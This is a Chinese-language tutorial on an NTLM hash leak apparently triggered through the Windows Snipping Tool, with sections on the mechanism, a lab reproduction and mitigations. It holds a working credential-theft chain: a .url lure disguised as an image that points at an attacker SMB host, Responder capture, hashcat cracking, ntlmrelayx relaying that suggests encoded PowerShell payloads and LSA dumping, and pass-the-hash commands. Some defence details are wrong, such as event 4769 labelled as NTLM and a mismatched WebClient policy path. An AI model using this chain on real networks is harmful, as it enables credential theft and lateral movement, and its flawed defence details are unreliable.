Windows截图工具NTLM哈希泄露漏洞:从原理到实战利用与防御
1. 项目概述一个被忽视的Windows内置应用风险最近安全圈里有个事儿挺有意思微软那个几乎每个Windows用户都用过的“截图工具”Snipping Tool又出问题了。这次不是什么花里胡哨的远程代码执行而是一个典型的NTLM哈希泄露漏洞。简单来说就是攻击者可以诱导你打开一个特制的图片文件然后在你毫无察觉的情况下你的电脑就会自动尝试用你的Windows账户凭据去连接一个攻击者控制的服务器从而把你的Net-NTLMv2哈希值拱手送人。这个漏洞的PoC概念验证代码已经在网上公开了这意味着从脚本小子到高级攻击者都能轻易利用它。这事儿之所以值得关注是因为截图工具太常见、太基础了。它不像那些需要额外安装的第三方软件它是Windows系统的一部分从Win7的“截图工具”到Win10/11的“截图与草图”和“Snipping Tool”几乎无人不用。大家用它截个图、做个标记觉得安全无害谁能想到它会成为泄露凭证的后门呢这个漏洞的本质是工具在处理某些特殊格式的图片文件比如.url快捷方式文件伪装成图片时会触发一个未经身份验证的SMB服务器消息块或HTTP请求到远程服务器而这个请求中恰好包含了用于身份验证的Net-NTLMv2哈希。攻击者拿到这个哈希就可以在本地进行离线破解或者在某些特定配置的网络环境中发起“中继攻击”直接冒充受害者访问其他内部资源。对于搞安全研究、渗透测试或者负责企业内网安全的同行来说这个漏洞是个绝佳的研究样本和实战切入点。它不复杂但非常经典完美展示了“信任边界滥用”和“协议特性被利用”是如何结合在一起的。接下来我就把这个漏洞从原理到复现再到防御掰开揉碎了讲清楚你可以把它看作一份详细的内网渗透测试笔记。2. 漏洞原理深度拆解从图片点击到哈希泄露要理解这个漏洞我们得先抛开复杂的代码从几个核心概念入手NTLM认证、SMB协议、以及Windows Shell如何处理文件。整个攻击链其实是一条清晰的“信任传递”路径而漏洞就出在传递过程中的一个验证缺失环节。2.1 核心组件Net-NTLMv2哈希是什么首先我们得明确泄露的是什么。不是你的明文密码而是Net-NTLMv2哈希。这是Windows网络认证协议NTLM套件中的一种挑战-响应Challenge-Response认证机制的副产品。当一台Windows计算机客户端需要访问另一台服务器如文件共享SMB服务器的资源时会发生以下简化流程客户端发送访问请求。服务器生成一个随机数挑战Challenge发送给客户端。客户端使用用户密码的哈希NT Hash作为密钥对这个挑战进行一系列加密运算生成一个“响应”Response然后将这个响应连同用户名、域名等信息一起发回服务器。服务器验证这个响应是否正确。在这个过程中客户端发送给服务器的那个数据包包含用户名、域名、挑战和响应其结构化的数据就是Net-NTLMv2哈希。虽然它不能直接逆推出明文密码但它具备了“密码等价物”的特性。攻击者捕获到这个哈希后有两种主要利用方式离线爆破使用强大的GPU集群尝试数十亿甚至数万亿种密码组合计算其Net-NTLMv2响应并与捕获的响应比对一旦匹配成功密码就被破解了。现代显卡破解8位复杂密码的速度可能只需要几小时。哈希传递Pass-the-Hash, PtH在某些情况下尤其是旧系统或配置不当的系统攻击者可以直接使用这个哈希而无需破解出明文密码来通过NTLM认证访问其他系统。中继攻击NTLM Relay这是本漏洞最危险的利用场景。攻击者将捕获的Net-NTLMv2哈希“中继”到第三台机器比如一台域控制器或重要服务器并冒充受害者向那台机器发起认证。如果受害者账户在那台机器上有足够权限攻击者就能直接获得访问权。注意Net-NTLMv2哈希与存储在本地SAM数据库或域控制器NTDS.dit文件中的NT Hash也叫NTLM Hash是不同的。NT Hash是静态的是密码的MD4哈希值而Net-NTLMv2哈希是动态的每次认证都会因挑战值不同而变化但它依然可用于攻击。2.2 漏洞触发点Windows Shell与文件处理逻辑截图工具本身可能并不直接存在代码缺陷。漏洞的根源更可能在于Windows Shell资源管理器和默认文件关联处理机制。攻击者制作一个特殊的.url互联网快捷方式文件但将其扩展名伪装成.jpg或.png。当用户从资源管理器、邮件客户端或浏览器中点击这个“图片”时会发生什么文件关联欺骗Windows默认根据文件扩展名决定用什么程序打开。但攻击者可以制作一个文件其真实内容是一个.url文件里面包含了[InternetShortcut]段和URL或IconFile字段指向一个远程SMB共享如\\evil-server\share但文件名却是cat.jpg.url。在某些显示设置下系统可能只显示cat.jpg。Shell执行当用户双击时Shell会解析文件内容。.url文件中的IconFile字段本意是指定快捷方式图标的路径。如果这个路径是一个远程UNC路径\\server\shareShell在尝试加载这个“图标”时就会自动发起一个SMB连接去访问那个路径以获取图标信息。自动认证在发起这个SMB连接时Windows会尝试使用当前登录用户的凭据进行认证。这个过程是自动的、无需弹窗提示的取决于目标服务器的要求和本地安全策略。于是一次完整的NTLM认证握手过程就发生了Net-NTLMv2哈希被发送到了\\evil-server\share。截图工具在这个链条中的作用是什么它可能是一个“触发载体”。一种常见的利用方式是将这个恶意.url文件作为图片“插入”或“打开”到截图工具中。截图工具在解析文件时可能会调用系统API来获取文件属性或预览这个过程中同样触发了对IconFile指向的远程路径的访问。另一种可能是通过截图工具的“分享”或“另存为”功能其内部逻辑在处理某些路径时会解析并访问UNC路径。2.3 攻击链全景图让我们把上述过程串联起来形成一个完整的攻击视角攻击者准备搭建一台可控的SMB服务器例如使用Linux上的impacket工具包中的smbserver.py或responder并准备一个恶意构造的.url文件其IconFile指向\\ATTACKER_IP\fake\icon.ico然后将该文件重命名为invoice.png。投递载荷通过钓鱼邮件、即时消息、被攻陷的网站等方式将invoice.png发送给目标用户。社会工程学话术可能是“这是您要求的报价单截图。”用户触发用户收到文件看到是PNG图片便双击打开。或者用户将图片拖入截图工具中编辑。哈希泄露在文件被打开或处理的瞬间Windows后台尝试从\\ATTACKER_IP\fake\加载图标向攻击者的SMB服务器发起认证请求。攻击者的服务器收到包含Net-NTLMv2哈希的认证数据包。攻击者收获攻击者的工具如responder实时捕获并显示了受害者的用户名、域名和Net-NTLMv2哈希。后续利用攻击者使用hashcat工具对该哈希进行离线爆破或者在内网环境中利用impacket的ntlmrelayx.py等工具将该认证尝试中继到其他有价值的靶机如域控制器、文件服务器、SQL服务器尝试执行命令、转储哈希或创建后门。这个漏洞之所以有效是因为它利用了Windows设计上的一个“特性”为了用户体验自动加载网络资源图标在未充分提示用户的情况下执行了网络认证。而截图工具作为一个高频使用的、受信任的系统组件成为了利用这个特性的完美跳板。3. 实验环境搭建与PoC代码解析纸上得来终觉浅绝知此事要躬行。要真正理解这个漏洞最好的办法就是亲手搭建环境复现一遍。这里我会详细说明每一步的操作和背后的原因你可以跟着做。3.1 实验环境准备你需要两台虚拟机或物理机模拟攻击者和受害者。攻击机Kali Linux 或任何Linux发行版系统推荐Kali Linux因为预装了大部分所需工具。工具确保安装impacket和responder。# 更新并安装工具 sudo apt update sudo apt install python3 python3-pip git -y git clone https://github.com/SecureAuthCorp/impacket.git cd impacket pip3 install . # 安装Responder sudo apt install responder网络需要与受害机在同一局域网段能够互相通信。桥接模式或NAT模式同一网段均可。受害机Windows 10 或 11系统Windows 10 21H2及以上或Windows 11。确保截图工具Snipping Tool / 截图与草图可用。用户使用一个普通用户权限账户登录即可最好有密码方便后续演示爆破。网络与攻击机在同一网段。非常重要在实验环境中你可能需要暂时降低Windows Defender防火墙的严格性或为SMB入站规则添加例外以确保能收到来自攻击机的网络请求生产环境切勿如此。更安全的方式是在攻击机上抓包而非让Windows完全放行。3.2 恶意文件构造详解攻击的核心在于那个“.url”文件。我们来手动创建一个并理解每一个参数的意义。在你的攻击机Kali上创建一个文本文件命名为malicious.url注意先以.url创建后续再重命名伪装[InternetShortcut] URLhttp://www.example.com WorkingDirectoryC:\Windows\System32 IconFile\\YOUR_ATTACKER_IP\share\fake.ico IconIndex1[InternetShortcut]这是.url文件的标准节头。URL这个字段其实不重要可以指向任何地方它只是快捷方式的目标URL。WorkingDirectory设置工作目录无关紧要。IconFile这是关键字段。它指向一个图标文件。当我们将其设置为一个UNC路径\\IP\share\file时Windows在渲染这个快捷方式或某些程序解析它时会尝试访问这个路径来获取图标。YOUR_ATTACKER_IP替换为你Kali机器的IP地址。IconIndex指定图标资源中的索引。保存这个文件。现在为了伪装我们将其重命名为一个看起来无害的名字年度报告截图.jpg。在Linux下你可以直接mv malicious.url ‘年度报告截图.jpg‘。但在Windows资源管理器里默认会隐藏已知文件扩展名。所以这个文件在受害者电脑上显示为年度报告截图.jpg但实际上它的完整名是年度报告截图.jpg.url。如果受害者设置了“显示文件扩展名”则伪装会失效这是此类攻击的一个限制。更隐蔽的做法是利用Windows的特性比如使用desktop.ini或特殊字符RLO字符右至左覆盖来反转扩展名的显示顺序但这更复杂。对于基础PoC简单的重命名已足够。3.3 攻击端监听与捕获现在我们在攻击机上启动服务等待受害者“上钩”。方法一使用Responder推荐功能专一Responder是专门用于劫持LLMNR/NBT-NS/mDNS等协议并捕获哈希的神器。sudo responder -I eth0 -v # -I 指定网卡接口用ip a命令查看你的网卡名可能是eth0, ens33等 # -v 详细模式可以看到捕获过程运行后Responder会监听多个端口SMB的445、HTTP的80等并伪装成受害者寻找的各种服务。一旦受害者的Windows尝试访问\\ATTACKER_IP\shareResponder就会响应并引导其完成NTLM认证从而捕获哈希。捕获到的哈希会默认保存在/usr/share/responder/logs/目录下文件名为SMBv2-Client-IP.txt。方法二使用Impacket的SMB ServerImpacket的smbserver.py更灵活可以自定义共享和操作。mkdir /tmp/smbshare python3 /path/to/impacket/examples/smbserver.py -smb2support SHARE /tmp/smbshare # 这会创建一个名为SHARE的匿名SMB共享指向/tmp/smbshare目录。 # 当受害者访问 \\YOUR_ATTACKER_IP\SHARE 时连接会被建立。但默认的smbserver.py可能不会主动要求认证或记录哈希。为了捕获认证请求你需要配合使用ntlmrelayx或使用responder。对于简单的哈希捕获演示responder更直接。3.4 受害者端触发漏洞将构造好的年度报告截图.jpg文件通过某种方式如U盘、局域网共享、模拟钓鱼邮件附件放到受害机Windows上。然后尝试以下几种触发方式成功率可能因系统版本和配置而异直接双击在资源管理器中双击该文件。如果系统默认用照片查看器打开且照片查看器触发了对图标文件的解析则可能泄露哈希。用截图工具打开打开截图工具WinShiftS。点击“文件”-“打开”或CtrlO选择那个年度报告截图.jpg文件。观察攻击机上的Responder输出。拖拽到截图工具直接将文件拖拽到已打开的截图工具窗口。通过其他应用间接触发将文件插入到Word、PowerPoint中有时也会触发预览机制。如果成功你将在攻击机的Responder终端上看到类似下面的输出[SMB] NTLMv2-SSP Client : 192.168.1.100 [SMB] NTLMv2-SSP Username : DOMAIN\UserName [SMB] NTLMv2-SSP Hash : UserName::DOMAIN:1122334455667788:2F0A5B1C3D4E5F6A7B8C9D0E1F2A3B4C:0101000000000000...这一长串UserName::DOMAIN:...就是宝贵的Net-NTLMv2哈希。实操心得在实际测试中系统版本、安全更新状态、UAC设置、网络发现设置都会影响触发成功率。Windows Defender可能会拦截对可疑远程地址的访问。因此实验环境最好保持离线或在一个隔离的网络中进行。如果直接双击没反应可以多尝试几种应用程序打开方式或者检查攻击机的防火墙是否放行了SMB端口445。4. 从哈希到权限漏洞的后续利用分析捕获到Net-NTLMv2哈希只是第一步就像拿到了一把锁的模具接下来要看你能用这个模具做出什么事。这里我们探讨几种主要的利用路径。4.1 离线密码破解这是最直接、最常用的方法。工具首选hashcat它是GPU加速的密码恢复工具速度极快。哈希格式整理从Responder保存的哈希文件里复制出完整的一行格式为用户名::域名:挑战:响应:...。我们需要将其转换为hashcat可识别的模式mode 5600对应Net-NTLMv2。准备密码字典你需要一个强大的密码字典。可以从rockyou.txtKali自带或Seclists等项目中获取也可以根据目标信息生成定制字典。执行破解# 将哈希保存到文件 hash.txt echo ‘UserName::DOMAIN:1122334455667788:2F0A5B1C3D4E5F6A7B8C9D0E1F2A3B4C:0101000000000000...‘ hash.txt # 使用hashcat破解-m 5600 指定哈希类型-a 0 字典攻击-w 3 高性能模式 hashcat -m 5600 -a 0 -w 3 hash.txt /usr/share/wordlists/rockyou.txt如果密码在字典中或强度较弱hashcat可能会在几分钟甚至几秒内破解成功。破解成功后你会得到明文密码。注意事项离线破解的成功率完全取决于密码复杂度。对于强密码长随机字符破解可能需时数年甚至更长基本不可行。因此企业强制推行强密码策略是防御此类攻击的关键。4.2 NTLM中继攻击实战如果离线破解失败或者你想在内网横向移动NTLM中继攻击是更高级的选择。其原理是攻击者不破解哈希而是充当一个“中间人”将受害者发起的认证请求原封不动地转发给网络内的另一台机器中继目标并冒充受害者与那台机器交互。实验场景假设我们有一个简单的内网包含受害者机Victim192.168.1.100已捕获其哈希。攻击者机Attacker192.168.1.200运行中继工具。目标服务器Target192.168.1.10假设是一台未打补丁的Windows Server 2016SMB签名已禁用这是中继成功的关键前提。利用步骤识别中继目标使用crackmapexec或nmap扫描内网寻找SMB签名SMB Signing未启用的主机。因为SMB签名能防止中继攻击。crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt # 这条命令会扫描网段并将可能易受中继的主机IP输出到targets.txt启动NTLM中继工具使用Impacket的ntlmrelayx.py。python3 /path/to/impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support -c “whoami” # -tf 从中继目标文件读取目标列表 # -smb2support 支持SMB2协议 # -c 在中继成功后在目标机器上执行的命令这里是执行whoami运行后ntlmrelayx会监听默认端口445、80等等待认证请求。触发中继现在你需要诱导受害者向攻击者192.168.1.200发起认证。我们可以修改之前的.url文件将IconFile指向\\192.168.1.200\share\fake.ico。当受害者触发时认证请求会发送到攻击者的ntlmrelayx。攻击发生ntlmrelayx收到受害者的认证请求后会立即将其转发给目标列表中的机器192.168.1.10。如果目标机器SMB签名禁用且受害者账户在该目标机器上有权限例如是本地管理员或域用户中继就会成功。ntlmrelayx会以受害者身份在目标机器上执行whoami命令并将结果返回给攻击者。你可以在终端看到命令执行成功的输出。更危险的利用-c参数可以替换为更强大的命令例如-c “powershell -enc base64编码的payload“执行PowerShell载荷。使用-e参数上传并执行一个可执行文件。使用–dump-lsa尝试转储目标机器的本地账户哈希。使用–escalate-user尝试提权。核心要点NTLM中继攻击成功的关键条件是目标服务器禁用了SMB签名。在域环境中域控制器默认要求SMB签名但成员服务器和工作站默认可能不要求。这使得中继攻击在内网横向移动中极具威胁。防御措施就是在所有设备上强制启用SMB签名。4.3 哈希传递攻击如果我们通过其他手段例如利用这个漏洞捕获了管理员账户的哈希并且通过破解或之前已掌握已经获得了目标系统本地管理员组的某个账户的NT Hash注意是NT Hash不是Net-NTLMv2 Hash那么我们可以尝试哈希传递攻击。但请注意本漏洞泄露的是Net-NTLMv2 Hash通常不能直接用于PtH。PtH需要的是NT Hash。不过如果环境允许且你通过破解获得了明文密码则可以衍生出NT Hash。这里简要说明PtH流程作为知识扩展# 使用crackmapexec进行哈希传递 crackmapexec smb 192.168.1.10 -u Administrator -H ‘NT_Hash_Here‘ --local-auth # -u 用户名 # -H NT Hash (格式为32位十六进制字符串) # --local-auth 使用本地认证如果是域环境则使用-d DOMAIN如果成功你将获得目标系统的管理员权限无需知道明文密码。5. 防御策略与缓解措施了解了攻击防御就有了方向。这个漏洞的防御需要从多个层面进行既包括微软官方的补丁也涵盖系统和网络层面的加固。5.1 官方补丁与更新首要且最有效的措施是安装微软发布的安全更新。每当此类漏洞被公开微软通常会在月度“星期二补丁”或发布带外更新进行修复。修复方式可能是修改截图工具或Windows Shell处理特定文件类型和UNC路径的逻辑增加用户提示或阻止自动发起认证。操作立即为所有Windows系统启用自动更新并定期检查、安装最新的安全补丁。对于无法立即更新的系统应评估风险并采取其他补偿性控制措施。5.2 系统层面加固即使打了补丁加固系统也能有效降低类似攻击的风险。启用SMB签名这是防御NTLM中继攻击最有效的手段。域控制器默认已启用并强制要求。通过组策略确认计算机配置 - 策略 - Windows 设置 - 安全设置 - 本地策略 - 安全选项 - Microsoft 网络服务器: 数字签名的通信(始终)设置为“已启用”。成员服务器和工作站强烈建议启用。通过组策略设置计算机配置 - 策略 - Windows 设置 - 安全设置 - 本地策略 - 安全选项 - Microsoft 网络客户端: 数字签名的通信(若服务器同意)和Microsoft 网络服务器: 数字签名的通信(始终)都设置为“已启用”。这能确保出站和入站的SMB通信都尽可能使用签名。配置NTLM审计与限制启用NTLM审计了解环境中哪些应用还在使用NTLM。组策略路径计算机配置 - 策略 - Windows 设置 - 安全设置 - 本地策略 - 安全选项 - 网络安全: 限制 NTLM: 审核此域中的 NTLM 身份验证。在可能的情况下逐步淘汰NTLM使用更安全的Kerberos认证。网络策略与防火墙在企业边界防火墙严格限制从内部工作站到互联网的SMB445端口和NetBIOS137-139端口的出站连接。正常的办公电脑不应该需要直接访问互联网上的SMB共享。使用主机防火墙Windows Defender 防火墙创建出站规则阻止不必要的SMB出站流量。用户教育与策略培训用户不要随意打开来自不可信来源的文件尤其是通过邮件或即时通讯工具发送的“图片”、“文档”。在资源管理器中设置“显示文件扩展名”让伪装文件现形。考虑使用软件限制策略或AppLocker限制从非标准位置如下载文件夹、邮件附件目录运行或打开可执行文件和脚本。5.3 高级检测与响应对于安全运营团队需要具备检测此类攻击的能力。日志监控在Windows事件日志中NTLM认证事件ID为4624登录成功但需要查看详细属性。更相关的是安全日志中的事件ID 4769NTLM认证。你需要监控来自内部客户端向非常见IP地址尤其是外部IP发起的NTLM认证请求。这可以通过SIEM安全信息和事件管理系统集中收集和分析日志并设置告警规则。网络流量分析使用IDS/IPS或网络流量分析工具检测内网主机向外部IP地址发起的SMB协议连接尝试这通常是异常行为。端点检测与响应部署EDR解决方案监控进程行为。例如截图工具SnippingTool.exe或ScreenSketch.exe突然发起网络连接特别是连接到可疑的IP地址应触发告警。5.4 针对该漏洞的临时缓解措施在补丁可用之前可以考虑以下临时方案修改文件关联可以考虑暂时修改.url文件的默认打开程序将其关联到一个不会自动解析网络路径的文本编辑器如记事本。但这可能影响正常使用。使用组策略禁用WebClient服务WebClient服务处理WebDAV和部分URL协议。禁用它可以阻止一些基于UNC路径的自动请求。但此操作可能影响某些合法功能。路径计算机配置 - 策略 - 管理模板 - 系统 - 网络通信 - 网络提供商 - 启用“启用不安全的来宾登录”策略设置为“已禁用”。注意此策略名称可能因系统版本而异其作用是限制对未认证共享的访问。防御是一个体系化的工程没有一劳永逸的银弹。结合及时更新、最小权限原则、网络分段和持续监控才能构建起有效的纵深防御体系将此类凭证窃取攻击的风险降到最低。这个截图工具漏洞再次提醒我们即使是最普通、最受信任的系统组件也可能成为攻击链上的薄弱一环。保持警惕持续加固是安全从业者的日常。